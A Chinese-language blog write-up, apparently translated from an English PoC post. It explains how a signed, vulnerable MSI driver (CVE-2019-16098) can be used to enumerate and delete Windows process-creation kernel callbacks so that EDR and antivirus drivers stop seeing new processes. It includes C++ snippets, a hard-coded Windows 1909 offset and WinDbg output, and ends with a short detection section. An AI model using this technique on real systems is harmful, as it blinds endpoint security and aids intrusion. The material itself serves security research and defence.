https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

原创 大蓝 RJ45实验室 

使用签名驱动移除内核回调-安全KER - 安全资讯平台

介绍

创建该PoC的目的是了解驱动漏洞利用程序的强大功能,以及EDR如何使用内核回调以防止恶意软件的攻击。

在代码中会用到一个Barakat发现并公开了的驱动程序漏洞,并将其分配为CVE-2019-16098。它是一个经过签名的MSI驱动程序,可以读取和写入完整的内核内存,事实证明这对攻击者极为有用,并且可以对整个系统造成危害。PoC可以以低特权用户身份获取SYSTEM CMD的功能。

而引起我对CVE-2019-16098的注意,也是因为这篇博文,该博文使用了该漏洞从LSASS进程中删除了PPL( Protected Process Light)保护。

除了上述文章外介绍的删除PPL外,我们还需要枚举系统回调。这里还有一篇SpectreOps Matt Hands的文章深入探讨了Mimikatz的驱动程序Mimidrv。通过这篇文章,可以对枚举回调有了更深的理解。

我还可以推荐克里斯托弗·韦拉(Christopher Vella)在CrikeyCon视频(需要翻墙)的“反向和旁路EDR”,它很好地说明了回调例程,并提供了有关EDR内部工作方式的概述。

驱动和内核内存

大多数阅读这篇文章的人可能已经知道,Windows中的内存空间主要分为Userland内存和Kernel内存。当用户创建一个进程时,内核将管理该进程的虚拟内存空间,从而使其只能访问自己的虚拟地址空间,该地址仅对该进程可用。使用内核内存,情况有所不同。系统上的每个驱动程序都没有相互隔离的地址空间-它们是共享内存的。MSDN这样说:

所有在内核模式下运行的代码共享一个虚拟地址空间。这意味着内核模式驱动程序不会与其他驱动程序以及操作系统本身隔离。如果内核模式驱动程序意外地写入了错误的虚拟地址,则可能会破坏属于操作系统或其他驱动程序的数据。如果内核模式驱动程序崩溃,则整个操作系统崩溃。

当然,这会给这些驱动程序的开发人员以及防止加载任何驱动程序的操作系统造成很大的负担。因此,Microsoft对可以在系统上加载哪些驱动程序进行了严格限制。首先,加载驱动程序的用户需要具有权限-SELoadDriverPrivilege。默认情况下,这仅授予管理员,这是有充分理由的。就像SeDebugPrivilege一样,不应轻易授予此特权。这里有一篇Tarlogic的文章介绍了如何通过这些权限以在系统上获得更高的权限。

其次,Microsoft从版本1607开始,所有Windows 10版本的驱动程序会被要求签名。这意味着任何启用了安全启动的最新工作站或服务器都不会加载未签名或签名无效的驱动程序。问题解决了吧?

不幸的是,软件是由人编写的,并且人会犯错误。签名驱动程序也是如此。即使要求在加载驱动程序之前对其进行签名,攻击者也可以找到一个已签名的驱动程序,且该驱动存在允许任意读取/写入内核内存漏洞。Micro-Star MSI Afterburner 4.6.2.15658驱动程序恰恰具有这些漏洞。

还有许多其他已签名的驱动程序可供使用,一些游戏黑客论坛收集了这些驱动程序和存在的漏洞的列表。由于目前尚无停止有效签名驱动的方法,因此在相当长的一段时间内,加载并且利用这些存在漏洞的签名驱动程序似乎是一种有效的技术。

回调例程

当Microsoft在2005年推出Kernel Patch Protection(称为PatchGuard)时,它严重限制了第三方Antivirus供应商使用Kernel Hook来检测和防止系统上的恶意软件的选择。从那时起,这些供应商不得不更多地依赖于内核回调函数系统来通知事件。有很多已记录和未记录的回调函数。我们最感兴趣的函数是:

  • PsSetLoadImageNotifyRoutine

  • PsSetCreateThreadNotifyRoutine

  • PsSetCreateProcessNotifyRoutine

  • CmRegisterCallbackEx

  • ObRegisterCallbacks

除了用于注册表回调的CmRegisterCallbackEx和用于对象创建回调的ObRegisterCallbacks之外,其他都是可以通过函数名字理解函数的功能。

在本文中,我将重点介绍进程创建回调例程-PsSetCreateProcessNotifyRoutine。

找到进程回调函数

简而言之,驱动程序可以注册一个在系统上每次创建新进程时都会调用的回调函数。这些函数被注册并存储在称为PspCreateProcessNotifyRoutine的数组中,该数组最多包含64个回调函数。Matt Hand使用Windbg逐步说明了如何根据Mimidrv源代码为每个已注册的回调函数查看此数组以及如何确定每个回调函数将其解析为哪个驱动程序。

概括来说,这些步骤是:

1.利用字节匹配的方式在PsSetCreateProcessNotifyRoutine和IoCreateDriver的地址之间搜索
2.这些字节在未文档化的PspSetCreateProcessNotifyRoutine的函数开头(请注意名称中的额外“ p”)。
3.在此未文档化的函数中,我们看到对目标数组的引用:PspCreateProcessNotifyRoutine。
在Windbg中,它看起来像这样:

lkd> u Pspsetcreateprocessnotifyroutine
nt!PspSetCreateProcessNotifyRoutine:
fffff802`235537d0 48895c2408      mov     qword ptr [rsp+8],rbx
fffff802`235537d5 48896c2410      mov     qword ptr [rsp+10h],rbp
fffff802`235537da 4889742418      mov     qword ptr [rsp+18h],rsi
fffff802`235537df 57              push    rdi
fffff802`235537e0 4154            push    r12
fffff802`235537e2 4155            push    r13
fffff802`235537e4 4156            push    r14
fffff802`235537e6 4157            push    r15
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x18:
fffff802`235537e8 4883ec20        sub     rsp,20h
fffff802`235537ec 8bf2            mov     esi,edx
fffff802`235537ee 8bda            mov     ebx,edx
fffff802`235537f0 83e602          and     esi,2
fffff802`235537f3 4c8bf1          mov     r14,rcx
fffff802`235537f6 f6c201          test    dl,1
fffff802`235537f9 0f85e7f80b00    jne     nt!PspSetCreateProcessNotifyRoutine+0xbf916 (fffff802`236130e6)
fffff802`235537ff 85f6            test    esi,esi
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x31:
fffff802`23553801 0f848c000000    je      nt!PspSetCreateProcessNotifyRoutine+0xc3 (fffff802`23553893)
fffff802`23553807 ba20000000      mov     edx,20h
fffff802`2355380c e8df52a3ff      call    nt!MmVerifyCallbackFunctionCheckFlags (fffff802`22f88af0)
fffff802`23553811 85c0            test    eax,eax
fffff802`23553813 0f8490f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9d9 (fffff802`236131a9)
fffff802`23553819 488bd3          mov     rdx,rbx
fffff802`2355381c 498bce          mov     rcx,r14
fffff802`2355381f e8a4000000      call    nt!ExAllocateCallBack (fffff802`235538c8)
lkd> u
nt!PspSetCreateProcessNotifyRoutine+0x54:
fffff802`23553824 488bf8          mov     rdi,rax
fffff802`23553827 4885c0          test    rax,rax
fffff802`2355382a 0f8483f90b00    je      nt!PspSetCreateProcessNotifyRoutine+0xbf9e3 (fffff802`236131b3)
fffff802`23553830 33db            xor     ebx,ebx
fffff802`23553832 4c8d2d6726dbff  lea     r13,[nt!PspCreateProcessNotifyRoutine (fffff802`23305ea0)]
fffff802`23553839 488d0cdd00000000 lea     rcx,[rbx*8]
fffff802`23553841 4533c0          xor     r8d,r8d
fffff802`23553844 4903cd          add     rcx,r13

我遇到了一些奇怪的技术问题,这些问题很可能是由于我通常在编码方面的能力不足,所以我采取了更快捷的方法:我在Windows 10版本1909上计算了导出函数PsSetCreateProcessNotifyRoutine的偏移量,并且在两台机器上测试还是比较稳定的。但因为Windows不同版本之间的偏移似乎有所变化,我将把系统1909到2004其版本间进行更新,直到可以使按照字节来进行匹配,直到正确为止。

找到进程创建回调例程指针的数组后,它们所指向的内存地址可以按以下方式计算,如Matt所述:

1.删除指针地址的最后4位
2.跳过结构的前8个字节

结果地址是每当创建进程时将调用的地址。使用该地址,我们可以准确地计算出该部分内存中加载了哪个驱动程序,并查看在我们的进程创建中和哪个驱动程序关联。

如果要枚举并删除现有的回调,则需要在程序中复制这些步骤。我将假定易受攻击的驱动程序已经加载,并且我们具有可靠的内存读取和写入功能。

我们首先使用EnumDeviceDrivers()来检索内核基地址。可以用Medium完整性进程用于检索内核基址,因为这通常是要返回的第一个地址。尽管不是100%可靠,但是到目前为止我还没有遇到任何问题。

DWORD64 Findkrnlbase() {DWORD cbNeeded = 0;LPVOID drivers[1024];if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {return (DWORD64)drivers[0];}return NULL;

了解了内核基础之后,我们现在可以使用LoadLibrary()加载ntoskrnl.exe并使用GetProcAddress()查找某些导出函数的地址。我们将从已加载的内核库(ntoskrnl.exe)计算这些函数的偏移量,并根据内存中的当前当前内核基址来计算这些函数在内存中的当前内存地址。这个想法和代码基于RedCursor的PPLKiller代码:

const auto NtoskrnlBaseAddress = Findkrnlbase();HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe");const DWORD64 PsSetCreateProcessNotifyRoutineOffset = reinterpret_cast<DWORD64>(GetProcAddress(Ntoskrnl, "PsSetCreateProcessNotifyRoutine")) - reinterpret_cast<DWORD64>(Ntoskrnl);FreeLibrary(Ntoskrnl);const DWORD64 PsSetCreateProcessNotifyRoutineAddress = NtoskrnlBaseAddress + PsSetCreateProcessNotifyRoutineOffset;

现在让我们计算PspCreateProcessNotifyRoutine的回调数组的在Windows 1909系统上的偏移量。

lkd> dq nt!pspcreateprocessnotifyroutine
fffff802`23305ea0  ffffaa88`6946151f ffffaa88`696faa8f
fffff802`23305eb0  ffffaa88`6c607e4f ffffaa88`6c60832f
fffff802`23305ec0  ffffaa88`6c6083ef ffffaa88`6c60f4ff
fffff802`23305ed0  ffffaa88`6c60fdcf ffffaa88`6c6106ff
fffff802`23305ee0  ffffaa88`732701cf ffffaa88`7327130f
fffff802`23305ef0  ffffaa88`771818af ffffaa88`7cb3b1bf
fffff802`23305f00  00000000`00000000 00000000`00000000
fffff802`23305f10  00000000`00000000 00000000`00000000
lkd> dq nt!pssetcreateprocessnotifyroutine L1
fffff802`235536b0  d233c28a`28ec8348

在此版本的Windows中,回调数组似乎位于PsSetCreateProcessNotifyRoutine + 0x24D810中。

现在,让我们使用MSI驱动程序和该驱动程序利用程序的作者提供的内存读取功能,来检索和列出这些回调例程。我们还添加了功能以指定要删除的回调函数:

const DWORD64 PspCreateProcessNotifyRoutineAddress = PsSetCreateProcessNotifyRoutineAddress - 0x24D810;
Log("[+] PspCreateProcessNotifyRoutine: %p", PspCreateProcessNotifyRoutineAddress);
Log("[+] Enumerating process creation callbacks");
int i = 0;
for (i; i < 64; i++) {DWORD64 callback = ReadMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8));if (callback != NULL) {//only print actual callbackscallback =(callback &= ~(1ULL << 3)+0x1);//remove last 4 bytes, jmp over first 8DWORD64 cbFunction = ReadMemoryDWORD64(Device, callback);FindDriver(cbFunction);if (cbFunction == remove) {//if the address specified to be removed from the array matches the one we just retrieved, remove it.Log("Removing callback to %p at address %p", cbFunction, PspCreateProcessNotifyRoutineAddress + (i * 8));WriteMemoryDWORD64(Device, PspCreateProcessNotifyRoutineAddress + (i * 8),0x0000000000000000);}}}

FindDriver函数需要做更多的工作,并且可能是整个代码库中最差的代码,但是它可以工作……我们基本上再次使用EnumDeviceDrivers,遍历驱动程序地址,存储比回调函数地址低的地址,然后找到最小的地址,再找到区别最小的那段。是的,我知道…我不会在这里列出来,如果您想了解更多,可以随时在代码库中查看它。

太好了-现在我们已经实现了以下目标:

1.我们在内存中找到数组
2.我们可以列出将被通知的函数地址
3.我们可以确切地看到这些功能存在于哪些驱动程序中
4.我们可以删除特定的回调
是时候测试一下了!

现在,我知道Avast并不是真正的EDR,但是它使用内核驱动程序并注册进程通知回调,因此非常适合我们的演示。

在此设置中,我使用的是Win1909 x64(操作系统内部版本18363.959)。使用Windbg,我的内核回调如下所示:

lkd> dq nt!PspCreateProcessNotifyRoutine
fffff800`1dd13ea0  ffffdb83`5d85030f ffffdb83`5da605af
fffff800`1dd13eb0  ffffdb83`5df7c5df ffffdb83`5df7cdef
fffff800`1dd13ec0  ffffdb83`6068a1df ffffdb83`6068a92f
fffff800`1dd13ed0  ffffdb83`5df04bff ffffdb83`6068a9ef
fffff800`1dd13ee0  ffffdb83`6068addf ffffdb83`5df0237f
fffff800`1dd13ef0  ffffdb83`6322dc2f ffffdb83`652eecff
fffff800`1dd13f00  00000000`00000000 00000000`00000000
fffff800`1dd13f10  00000000`00000000 00000000`00000000

谷歌搜索向我们显示aswArPot.sys,aswSP.sys和aswbuniv.sys是Avast驱动程序,因此我们现在至少知道对于进程通知,这些驱动程序可能阻止了我们的恶意程序。

监测和防御

就检测和预防而言,我认为蓝队会容易一些,但对于EDR来说可能并非如此。对于EDR供应商而言,难以跟踪到每一个受到攻击的签名驱动进行拉黑,并且无法解决0day漏洞的攻击。但尽管如此也应该采取一些防护措施来应对这一类攻击。

对于蓝队,监视服务创建和PspCreateProcessNotifyRoutine:特权的使用将会给你更多防范此类攻击的手段。其他一些建议是,不应该经常安装新的驱动,最好仅更新和维护,以及通过特权帐户安装驱动程序。从管理帐户进一步限制此特权也可能是一条值得探索的途径,该特权保留给专用的软件/硬件维护帐户,该帐户在不使用时会受到严格监控并被禁用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/92295.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/92295.shtml
英文地址,请注明出处:http://en.pswp.cn/web/92295.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从零搭建Cloud Alibaba (下) Sentinel篇

1.Sentinel控制台的安装 下载地址&#xff1a; Releases alibaba/Sentinelx 下载后是一个jar包 进入目录 CMD命令 java -jar "sentinel-dashboard-1.8.8 .jar" 如果发生了端口冲突则使用以下命令启动 修改端口号为8090 java -Dserver.port8090 -jar "sen…

Numpy科学计算与数据分析:Numpy数学函数入门与实践

Numpy数学函数实战&#xff1a;探索数学运算的无限可能 学习目标 通过本课程的学习&#xff0c;学员将掌握Numpy中常用的数学函数&#xff0c;包括三角函数、指数函数和对数函数的使用方法&#xff0c;以及如何利用这些函数对数组进行高效的数学运算。本课程不仅会讲解理论知识…

BIGO Ads是什么?BIGO广告营销核心玩法解析

在全球化竞争白热化的当下&#xff0c;BIGO Ads凭借其覆盖150国家的庞大流量池和AI驱动的精准营销能力&#xff0c;已成为出海企业突破增长瓶颈的利器。2025年Q1数据显示&#xff0c;BIGO Ads广告业务同比增长27%&#xff0c;非直播收入占比达24.9%&#xff0c;成为欢聚集团第二…

人工智能领域、图欧科技、IMYAI智能助手2025年3月更新月报

2025年3月AI领域重要技术进展与平台更新概览 2025年3月&#xff0c;人工智能领域迎来一系列重要技术更新与平台功能迭代&#xff0c;尤其在多模态模型、图像生成编辑、视频生成、大型语言模型&#xff08;LLM&#xff09;性能提升等方面表现活跃。以下是对关键进展的梳理&#…

STM32HAL 快速入门(一):点灯前的准备 —— 从软件安装到硬件原理

前言 大家好&#xff0c;这里是 Hello_Embed。嵌入式开发的 “Hello World” 是点灯 —— 通过控制单片机引脚的高低电平&#xff0c;让 LED 亮灭。要实现这个功能&#xff0c;前期准备必不可少&#xff1a;从软件安装到硬件原理理解&#xff0c;每一步都很关键。本文就来详细说…

Python网络编程技术

一、网络编程基础概念 1.1 什么是网络编程&#xff1f; 定义&#xff1a;程序通过网络与其他程序进行通信的技术。核心目标&#xff1a;实现数据在不同主机或进程间的传输与交互。应用场景&#xff1a;Web服务、API调用、实时通信、分布式系统等。 1.2 网络通信模型 OSI七层…

基于PHP的快递管理系统的设计与实现

管理员&#xff1a;登录&#xff1a;管理员可以通过用户名和密码登录系统&#xff0c;进入管理员后台管理界面。个人中心&#xff1a;管理员可以查看和编辑个人信息&#xff0c;如姓名、联系方式等。用户管理&#xff1a;管理员可以管理系统中的用户信息&#xff0c;包括添加新…

WPF的C1FlexGrid的单元格回车换行输入

重写C1FlexGrid的按键事件PreviewKeyDown"flex_PreviewKeyUp" 定义按键方法private void flex_PreviewKeyUp(object sender, KeyEventArgs e){if (e.Key Key.Enter){// 获取当前编辑的单元格var cell CfgReviewItem.Selection;if (cell.Column > 0 && …

简单部署普罗米修斯(Promethus)与Grafana配置

环境信息&#xff1a;系统版本ubuntu2404k8s版本v1.22.2promethus节点IP192.168.31.210Grafana节点IP192.168.31.210node1节点IP192.168.31.214node2节点IP192.168.31.215部署Promethus&#xff08;https://prometheus.io/download/&#xff09; wget https://ghfast.top/https…

Redis 编译错误:缺少静态库文件,如何解决?

目录 一、问题背景 二、问题分析 三、解决方案&#xff1a;手动编译缺失依赖 四、重新编译 Redis 主程序 五、小结与补充建议 一、问题背景 在从源代码编译 Redis&#xff08;如 8.0.3 版本&#xff09;时&#xff0c;很多开发者可能会遇到如下错误信息&#xff1a; /us…

vscode+latex本地英文期刊环境配置

1、首先进行vscode的配置安装&#xff0c;这个网上很多教程直接安装就可以&#xff0c;我建议安装vscode就行&#xff08;https://code.visualstudio.com/Download&#xff09;&#xff0c;vs studio稍微有点复杂而且有点大没必要&#xff0c;单写论文和简单的代码编译&#xf…

8.6 CSS3rem布局

rem布局 rem &#xff08;font size of the root element&#xff09;是指相对于根元素的字体大小的单位。简单的说它就是一个相对单位。看到rem大家一定会想起em单位&#xff0c;em&#xff08;font size of the element&#xff09;是指相对于父元素的字体大小的单位。它们之…

第十五章、非合作关系设定下的多智能体强化学习

0 前言 根据上一章的内容&#xff0c;已知完全合作关系下的多智能体利益一致有相同的目标&#xff0c;而非合作关系下实际上智能体的奖励和回报都是不一样的&#xff0c;它们都在努力让自己的利益最大化而并不考虑整体利益。 1 非合作关系设定下的策略学习要注意的点&#xff1…

分布式微服务--GateWay(过滤器及使用Gateway注意点)

前言、Spring Cloud Gateway 与 Web 依赖冲突 <!-- 下面两个依赖不能同时使用 --><!-- Gateway 组件 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId><ve…

latex in overleaf快速通关论文排版

文章目录 0 有效连接汇总 1 简介 1.1 latex是什么 1.2 overleaf是什么? 2 快速上手 步骤1 注册 步骤2 使用 (1) 找模板 (2) 整体论文的overleaf结构 (3) 编辑内容 打开可视化编辑 实时编译 编辑 (4) 导出 3 常规操作 3.1 公式 3.2 表格 3.3 图片 3.4 引用 3.5 代码块 3.6 设置…

OO SALV的栏位功能

SALV的栏位功能主要是通过CL_SALV_COLUMN_TABLE和CL_SALV_COLUMNS_TABLE这两个类的实现的。 SALV的栏位属性的详细功能包括异常状态图标、图标、符号、复选框、按钮、热点、超链接、单元格类型、单元格颜色、某一栏位颜色、某一行颜色&#xff0c;栏位隐藏等。关于颜色等样式属…

第2章:建模篇——第1节:点线面的选择与控制

目录 1.模式的切换 &#xff08;1&#xff09;编辑模式的切换 &#xff08;2&#xff09;点线面的切换 2.点线面的选择 &#xff08;1&#xff09;选择的设置 &#xff08;2&#xff09;循环选择 3.点线面的控制 4.总结 1.模式的切换 &#xff08;1&#xff09;编辑模…

深入解析嵌套事务:原理与应用

嵌套事务是指在事务执行过程中启动另一个事务形成的层级调用结构&#xff0c;主要用于处理跨服务或复杂业务场景的事务一致性控制。其核心是通过事务传播机制管理多个操作的原子性&#xff0c;具体原理和应用如下&#xff1a;一、核心概念与工作原理层级结构 嵌套事务由顶层事务…

[激光原理与应用-168]:测量仪器 - 对光学指标进行测量的仪器

一、基础光学参数测量仪器 - 频率/波长/功率光学显微镜用途&#xff1a;观察微小物体的显微图像&#xff0c;用于材料科学、生物学等领域。特点&#xff1a;高放大倍数和分辨率&#xff0c;可清晰显示微观结构。光谱分析仪用途&#xff1a;测量发光体的辐射光谱&#xff0c;分析…

MPC-in-the-Head 转换入门指南

1. 引言 本文将探讨构建零知识证明&#xff08;ZKP&#xff09;的一种非常有趣的方法&#xff1a; MPC-in-the-Head Transformation&#xff08;转换&#xff09;。 该方法最早由 2007 年的论文 Zero-knowledge from secure multiparty computation 提出&#xff0c;通常被称…